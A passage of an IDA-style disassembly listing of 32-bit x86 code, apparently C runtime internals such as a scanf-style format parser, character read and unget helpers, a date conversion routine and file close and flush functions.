					; sub_418BBD+3B3j
		cmp	dword_4379BC, 1
		jle	short loc_418F96
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418FA1
; ---------------------------------------------------------------------------


loc_418F96:				; CODE XREF: sub_418BBD+3CBj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418FA1:				; CODE XREF: sub_418BBD+3D7j
		test	eax, eax
		jz	short loc_418FB7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418FB7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_418F72
; ---------------------------------------------------------------------------


loc_418FB7:				; CODE XREF: sub_418BBD+366j
					; sub_418BBD+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419633
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_437AF0
		add	esp, 0Ch
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_418FFB:				; CODE XREF: sub_418BBD+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41900A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41900A:				; CODE XREF: sub_418BBD+441j
		cmp	[ebp+var_5], 0
		jle	short loc_419014
		mov	[ebp+var_16], 1


loc_419014:				; CODE XREF: sub_418BBD+451j
		mov	edi, offset asc_437B20 ; "]"
		jmp	loc_419129
; ---------------------------------------------------------------------------


loc_41901E:				; CODE XREF: sub_418BBD+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4192CC
		sub	eax, 3
		jz	loc_41911A
		dec	eax
		dec	eax
		jz	loc_4192D0
		sub	eax, 3
		jz	loc_418E06
		sub	eax, 3
		jz	short loc_41906C


loc_419048:				; CODE XREF: sub_418BBD+21Bj
					; sub_418BBD+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_419593
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_41906C:				; CODE XREF: sub_418BBD+489j
		cmp	[ebp+var_5], 0
		jle	short loc_419076
		mov	[ebp+var_16], 1


loc_419076:				; CODE XREF: sub_418BBD+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41912D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_419129
; ---------------------------------------------------------------------------


loc_419090:				; CODE XREF: sub_418BBD+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4190B7


loc_419095:				; CODE XREF: sub_418BBD+259j
		dec	[ebp+var_C]
		jnz	short loc_4190A6
		cmp	[ebp+var_20], 0
		jz	short loc_4190A6
		mov	[ebp+var_F], 1
		jmp	short loc_4190B7
; ---------------------------------------------------------------------------


loc_4190A6:				; CODE XREF: sub_418BBD+4DBj
					; sub_418BBD+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4190B7:				; CODE XREF: sub_418BBD+4D6j
					; sub_418BBD+4E7j
		cmp	ebx, 30h
		jnz	loc_419305
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_419105
		cmp	bl, 58h
		jz	short loc_419105
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4190EF
		push	6Fh


loc_4190E9:				; CODE XREF: sub_418BBD+55Bj
		pop	esi
		jmp	loc_419305
; ---------------------------------------------------------------------------


loc_4190EF:				; CODE XREF: sub_418BBD+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_419302
; ---------------------------------------------------------------------------


loc_419105:				; CODE XREF: sub_418BBD+517j
					; sub_418BBD+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4190E9
; ---------------------------------------------------------------------------


loc_41911A:				; CODE XREF: sub_418BBD+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_419124
		mov	[ebp+var_16], 1


loc_419124:				; CODE XREF: sub_418BBD+561j
		mov	edi, offset asc_437B18 ; " \t-\r]"


loc_419129:				; CODE XREF: sub_418BBD+45Cj
					; sub_418BBD+4CEj
		or	[ebp+var_18], 0FFh


loc_41912D:				; CODE XREF: sub_418BBD+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_419151
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_419151
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_419151:				; CODE XREF: sub_418BBD+584j
					; sub_418BBD+589j
		mov	dl, [ebp+var_35]


loc_419154:				; CODE XREF: sub_418BBD+592j
					; sub_418BBD+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4191B9
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4191A0
		test	dl, dl
		jz	short loc_4191A0
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4191A0
		inc	edi
		cmp	dl, cl
		jnb	short loc_419173
		mov	al, cl
		jmp	short loc_419177
; ---------------------------------------------------------------------------


loc_419173:				; CODE XREF: sub_418BBD+5B0j
		mov	al, dl
		mov	dl, cl


loc_419177:				; CODE XREF: sub_418BBD+5B4j
		cmp	dl, al
		ja	short loc_41919C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_419184:				; CODE XREF: sub_418BBD+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_419184


loc_41919C:				; CODE XREF: sub_418BBD+5BCj
		xor	dl, dl
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_4191A0:				; CODE XREF: sub_418BBD+5A0j
					; sub_418BBD+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_4191B9:				; CODE XREF: sub_418BBD+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4195C3
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4191CB
		mov	[ebp+arg_4], edi


loc_4191CB:				; CODE XREF: sub_418BBD+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4191E2:				; CODE XREF: sub_418BBD+6BCj
					; sub_418BBD+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4191F6
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_419292


loc_4191F6:				; CODE XREF: sub_418BBD+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_419286
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_419286
		cmp	[ebp+var_E], 0
		jnz	short loc_41927E
		cmp	[ebp+var_16], 0
		jz	short loc_419273
		mov	ecx, off_4377B0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419252
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		pop	ecx
		mov	[ebp+var_37], al


loc_419252:				; CODE XREF: sub_418BBD+686j
		push	dword_4379BC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41BE16
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_419276
; ---------------------------------------------------------------------------


loc_419273:				; CODE XREF: sub_418BBD+673j
		mov	[esi], al
		inc	esi


loc_419276:				; CODE XREF: sub_418BBD+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4191E2
; ---------------------------------------------------------------------------


loc_41927E:				; CODE XREF: sub_418BBD+66Dj
		inc	[ebp+var_30]
		jmp	loc_4191E2
; ---------------------------------------------------------------------------


loc_419286:				; CODE XREF: sub_418BBD+649j
					; sub_418BBD+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419633
		pop	ecx
		pop	ecx


loc_419292:				; CODE XREF: sub_418BBD+633j
		cmp	[ebp+var_30], esi
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_419524
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4192C4
		and	word ptr [eax],	0
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_4192C4:				; CODE XREF: sub_418BBD+6FCj
		and	byte ptr [eax],	0
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_4192CC:				; CODE XREF: sub_418BBD+466j
		mov	[ebp+var_D], 1


loc_4192D0:				; CODE XREF: sub_418BBD+203j
					; sub_418BBD+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4192DE
		mov	[ebp+var_17], 1
		jmp	short loc_4192E3
; ---------------------------------------------------------------------------


loc_4192DE:				; CODE XREF: sub_418BBD+719j
		cmp	ebx, 2Bh
		jnz	short loc_419305


loc_4192E3:				; CODE XREF: sub_418BBD+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4192F4
		cmp	[ebp+var_20], 0
		jz	short loc_4192F4
		mov	[ebp+var_F], 1
		jmp	short loc_419305
; ---------------------------------------------------------------------------


loc_4192F4:				; CODE XREF: sub_418BBD+729j
					; sub_418BBD+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		pop	ecx
		mov	ebx, eax


loc_419302:				; CODE XREF: sub_418BBD+543j
		mov	[ebp+var_14], ebx


loc_419305:				; CODE XREF: sub_418BBD+4FDj
					; sub_418BBD+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41941E
		cmp	[ebp+var_F], 0
		jnz	loc_4193FC


loc_419319:				; CODE XREF: sub_418BBD+82Cj
		cmp	esi, 78h
		jnz	short loc_41936D
		cmp	dword_4379BC, 1
		jle	short loc_419336
		push	80h
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419343
; ---------------------------------------------------------------------------


loc_419336:				; CODE XREF: sub_418BBD+768j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_419343:				; CODE XREF: sub_418BBD+777j
		test	eax, eax
		jz	loc_4193EE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41BF10
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4195E2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4193C0
; ---------------------------------------------------------------------------


loc_41936D:				; CODE XREF: sub_418BBD+75Fj
		cmp	dword_4379BC, 1
		jle	short loc_419382
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41938D
; ---------------------------------------------------------------------------


loc_419382:				; CODE XREF: sub_418BBD+7B7j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41938D:				; CODE XREF: sub_418BBD+7C3j
		test	eax, eax
		jz	short loc_4193EE
		cmp	esi, 6Fh
		jnz	short loc_4193AB
		cmp	ebx, 38h
		jge	short loc_4193EE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41BF10
		jmp	short loc_4193BA
; ---------------------------------------------------------------------------


loc_4193AB:				; CODE XREF: sub_418BBD+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_413CC0


loc_4193BA:				; CODE XREF: sub_418BBD+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4193C0:				; CODE XREF: sub_418BBD+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4193D8
		dec	[ebp+var_C]
		jz	short loc_4193FC


loc_4193D8:				; CODE XREF: sub_418BBD+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419319
; ---------------------------------------------------------------------------


loc_4193EE:				; CODE XREF: sub_418BBD+788j
					; sub_418BBD+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4193FC:				; CODE XREF: sub_418BBD+756j
					; sub_418BBD+819j
		cmp	[ebp+var_17], 0
		jz	loc_4194E2
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4194E2
; ---------------------------------------------------------------------------


loc_41941E:				; CODE XREF: sub_418BBD+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4194DA


loc_419428:				; CODE XREF: sub_418BBD+90Aj
		cmp	esi, 78h
		jz	short loc_41946C
		cmp	esi, 70h
		jz	short loc_41946C
		cmp	dword_4379BC, 1
		jle	short loc_419447
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419452
; ---------------------------------------------------------------------------


loc_419447:				; CODE XREF: sub_418BBD+87Cj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_419452:				; CODE XREF: sub_418BBD+888j
		test	eax, eax
		jz	short loc_4194CC
		cmp	esi, 6Fh
		jnz	short loc_419465
		cmp	ebx, 38h
		jge	short loc_4194CC
		shl	edi, 3
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_419465:				; CODE XREF: sub_418BBD+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_41946C:				; CODE XREF: sub_418BBD+86Ej
					; sub_418BBD+873j
		cmp	dword_4379BC, 1
		jle	short loc_419484
		push	80h
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419491
; ---------------------------------------------------------------------------


loc_419484:				; CODE XREF: sub_418BBD+8B6j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_419491:				; CODE XREF: sub_418BBD+8C5j
		test	eax, eax
		jz	short loc_4194CC
		push	ebx
		shl	edi, 4
		call	sub_4195E2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4194A4:				; CODE XREF: sub_418BBD+8A6j
					; sub_418BBD+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4194B6
		dec	[ebp+var_C]
		jz	short loc_4194DA


loc_4194B6:				; CODE XREF: sub_418BBD+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419428
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_418BBD+897j
					; sub_418BBD+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4194DA:				; CODE XREF: sub_418BBD+865j
					; sub_418BBD+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4194E2
		neg	edi


loc_4194E2:				; CODE XREF: sub_418BBD+843j
					; sub_418BBD+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4194EB
		and	[ebp+var_1C], 0


loc_4194EB:				; CODE XREF: sub_418BBD+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	short loc_419524
		inc	[ebp+var_34]


loc_4194FE:				; CODE XREF: sub_418BBD+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_419514
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_419524
; ---------------------------------------------------------------------------


loc_419514:				; CODE XREF: sub_418BBD+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_419521
		mov	[eax], edi
		jmp	short loc_419524
; ---------------------------------------------------------------------------


loc_419521:				; CODE XREF: sub_418BBD+95Ej
		mov	[eax], di


loc_419524:				; CODE XREF: sub_418BBD+241j
					; sub_418BBD+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_419571
; ---------------------------------------------------------------------------


loc_41952F:				; CODE XREF: sub_418BBD+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41959E
		mov	ecx, off_4377B0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419571
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4195AC
		dec	[ebp+var_4]


loc_419571:				; CODE XREF: sub_418BBD+970j
					; sub_418BBD+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_419587
		cmp	byte ptr [esi],	25h
		jnz	short loc_4195C9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4195C9
		mov	esi, eax


loc_419587:				; CODE XREF: sub_418BBD+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_418BE7
		jmp	short loc_4195C3
; ---------------------------------------------------------------------------


loc_419593:				; CODE XREF: sub_418BBD+1F4j
					; sub_418BBD+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4195A3
; ---------------------------------------------------------------------------


loc_41959E:				; CODE XREF: sub_418BBD+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4195A3:				; CODE XREF: sub_418BBD+9DFj
		call	sub_419633
		pop	ecx
		pop	ecx
		jmp	short loc_4195C3
; ---------------------------------------------------------------------------


loc_4195AC:				; CODE XREF: sub_418BBD+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419633
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419633
		add	esp, 10h


loc_4195C3:				; CODE XREF: sub_418BBD+1Fj
					; sub_418BBD+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4195DA


loc_4195C9:				; CODE XREF: sub_418BBD+9BDj
					; sub_418BBD+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4195DD
		cmp	[ebp+var_15], al
		jnz	short loc_4195DD
		or	eax, 0FFFFFFFFh
		jmp	short loc_4195DD
; ---------------------------------------------------------------------------


loc_4195DA:				; CODE XREF: sub_418BBD+A0Aj
		mov	eax, [ebp+var_34]


loc_4195DD:				; CODE XREF: sub_418BBD+A11j
					; sub_418BBD+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418BBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195E2	proc near		; CODE XREF: sub_418BBD+7A3p
					; sub_418BBD+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4379BC, 1
		push	esi
		jle	short loc_4195FC
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41960B
; ---------------------------------------------------------------------------


loc_4195FC:				; CODE XREF: sub_4195E2+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41960B:				; CODE XREF: sub_4195E2+18j
		test	eax, eax
		jnz	short loc_419615
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_419615:				; CODE XREF: sub_4195E2+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4195E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419619	proc near		; CODE XREF: sub_418BBD+1E1p
					; sub_418BBD+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41962B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41962B:				; CODE XREF: sub_419619+7j
		push	edx
		call	sub_41991B
		pop	ecx
		retn
sub_419619	endp


; =============== S U B	R O U T	I N E =======================================



sub_419633	proc near		; CODE XREF: sub_418BBD+6Bp
					; sub_418BBD+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_419649
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41BF2F
		pop	ecx
		pop	ecx

locret_419649:				; CODE XREF: sub_419633+5j
		retn
sub_419633	endp


; =============== S U B	R O U T	I N E =======================================



sub_41964A	proc near		; CODE XREF: sub_418BBD+63p
					; sub_418BBD+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_419650:				; CODE XREF: sub_41964A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_419619
		mov	edi, eax
		push	edi
		call	sub_41BEDE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419650
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41964A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41966E	proc near		; CODE XREF: sub_414D55+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41972A
		cmp	ebx, 8Ah
		jg	loc_41972A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_438244[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4196AD
		cmp	edi, 2
		jle	short loc_4196AD
		inc	esi


loc_4196AD:				; CODE XREF: sub_41966E+37j
					; sub_41966E+3Cj
		call	sub_41BF9D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_438160
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_419720
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_419726
		cmp	dword_438164, 0
		jz	short loc_419726
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41C210
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_419726


loc_419720:				; CODE XREF: sub_41966E+90j
		add	ecx, dword_438168


loc_419726:				; CODE XREF: sub_41966E+96j
					; sub_41966E+9Fj ...
		mov	eax, ecx
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_41972A:				; CODE XREF: sub_41966E+13j
					; sub_41966E+1Fj
		or	eax, 0FFFFFFFFh


loc_41972D:				; CODE XREF: sub_41966E+BAj
		pop	ebx
		leave
		retn
sub_41966E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419730	proc near		; CODE XREF: sub_414E31+2Ap
					; sub_41C716+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_743640
		jnb	loc_4197CA
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4197CA
		push	edi
		call	sub_41C682
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197A9
		cmp	edi, 1
		jz	short loc_419777
		cmp	edi, 2
		jnz	short loc_41978D


loc_419777:				; CODE XREF: sub_419730+40j
		push	2
		call	sub_41C682
		push	1
		mov	ebp, eax
		call	sub_41C682
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4197A9


loc_41978D:				; CODE XREF: sub_419730+45j
		push	edi
		call	sub_41C682
		pop	ecx
		push	eax
		call	ds:dword_41F058	; CloseHandle
		test	eax, eax
		jnz	short loc_4197A9
		call	ds:off_41F06C
		mov	ebp, eax
		jmp	short loc_4197AB
; ---------------------------------------------------------------------------


loc_4197A9:				; CODE XREF: sub_419730+3Bj
					; sub_419730+5Bj ...
		xor	ebp, ebp


loc_4197AB:				; CODE XREF: sub_419730+77j
		push	edi
		call	sub_41C608
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_4197C6
		push	ebp
		call	sub_41A82A
		pop	ecx
		jmp	short loc_4197DB
; ---------------------------------------------------------------------------


loc_4197C6:				; CODE XREF: sub_419730+8Bj
		xor	eax, eax
		jmp	short loc_4197DE
; ---------------------------------------------------------------------------


loc_4197CA:				; CODE XREF: sub_419730+Ej
					; sub_419730+2Fj
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_4197DB:				; CODE XREF: sub_419730+94j
		or	eax, 0FFFFFFFFh


loc_4197DE:				; CODE XREF: sub_419730+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E3	proc near		; CODE XREF: sub_414E31+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41980C
		test	al, 8
		jz	short loc_41980C
		push	dword ptr [esi+8]
		call	sub_413F7F
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41980C:				; CODE XREF: sub_4197E3+Aj
					; sub_4197E3+Ej
		pop	esi
		retn
sub_4197E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41980E	proc near		; CODE XREF: sub_4198AE+2Dp
					; sub_4198AE+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_419820
		push	esi
		call	sub_4198AE
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419820:				; CODE XREF: sub_41980E+7j
		push	esi
		call	sub_419849
		test	eax, eax
		pop	ecx
		jz	short loc_419830
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419830:				; CODE XREF: sub_41980E+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_419845
		push	dword ptr [esi+10h]
		call	sub_41C6BF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419845:				; CODE XREF: sub_41980E+26j
		xor	eax, eax
		pop	esi
		retn
sub_41980E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419849	proc near		; CODE XREF: sub_414E31+1Ap
					; sub_41523E+37p ...
